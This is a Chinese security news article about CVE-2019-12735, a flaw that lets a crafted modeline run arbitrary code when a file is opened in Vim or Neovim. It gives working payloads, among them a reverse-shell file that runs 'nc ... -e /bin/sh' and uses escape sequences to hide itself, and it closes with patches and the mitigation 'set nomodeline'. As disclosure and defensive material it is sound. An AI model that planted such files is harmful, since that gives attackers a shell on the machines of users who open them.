CVE-2019-12735:Linux Vim/Neovim编辑器任意代码执行漏洞 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

CVE-2019-12735:Linux Vim/Neovim编辑器任意代码执行漏洞

ang010ela 漏洞 2019-06-24 10:19:04
242906
收藏

导语:研究人员发现Linux环境下Vim 8.1.1365之前版本和Neovim 0.3.6编辑器都存在任意代码执行漏洞。

研究人员发现Vim 8.1.1365之前版本和Neovim 0.3.6都存在任意代码执行漏洞。研究人员分析发现通过打开伪造的文本文件通过modelines功能来执行任意代码。

PoC

创建PoC的步骤:

1、创建poc.txt:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

2、确保modeline选项没有被禁用(:set modeline)

3、在vim中打开文件

$ vim poc.txt

4、系统就会自行uname -a.

PoC2 (reverse shell)

本PoC给出了当用户打开文件时启动逆向shell的真实攻击方法。为了隐藏攻击活动,该文件打开后需要马上重新。当文件内容用cat显示时,PoC使用了terminal escape序列来隐藏modeline。

注:cat -v会显示文件真实内容。

shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Demo (左侧为受害者,右侧为攻击者):

详情

Modeline特征允许在文件的开始或结束位置指定自定义选项。该特征默认是启动的,并应用于所有的文件类型,包括plain.txt。典型的modeline如下:

/* vim: set textwidth=80 tabstop=8: */

出于安全考虑,只有一小部分选项允许储蓄在modeline中,如果选项值中含有表达式,就会在沙箱中执行。

沙箱的意思是防止副作用:

'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline'和'foldtext'选项都可能会在沙箱中进行评估。这可以给从modeline下设置的选项确保安全性。

但:source!命令可以用来绕过沙箱。该命令会从给定的文件中读取和执行命令,就像输入的一样。

:so[urce]! {file}       Read Vim commands from {file}. 这是正常模式下执行的命令,就好像输入的一样。这样,用户就可以构建一个运行在沙箱以外的modeline:

# vim: set foldexpr=execute('\:source! some_file'):

对Neovim来说,还需要一个步骤来将execute()加入黑名单:

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                该函数并不在沙箱|sandbox|中

也可以使用assert_fails() ,利用{cmd}参数:

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

下面的modeline使用fold表达式来运行source! %来执行当前文件,反过来作为shell命令执行uname -a || "(garbage)":

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另外,Neovim中的函数nvim_input()也可以用同样的方法进行攻击,比如:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

modeline相关的漏洞还有CVE-2002-1377, CVE-2016-1248,目前都已修复。

补丁

Vim patch 8.1.1365

Neovim patch (released in v0.3.6)

除了补丁以外,研究人员建议在vimrc 中禁用modelines(方法为:set nomodeline)或禁用modelineexpr来禁止modeline中的表达式。

打开vim输入:set modeline?检查modelines是否启用。如果vim返回nomodeline,就说明不存在漏洞。如果有漏洞,或想要确保该问题的安全性,可以在vimrc中加入以下代码:

set modelines=0
set nomodeline
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务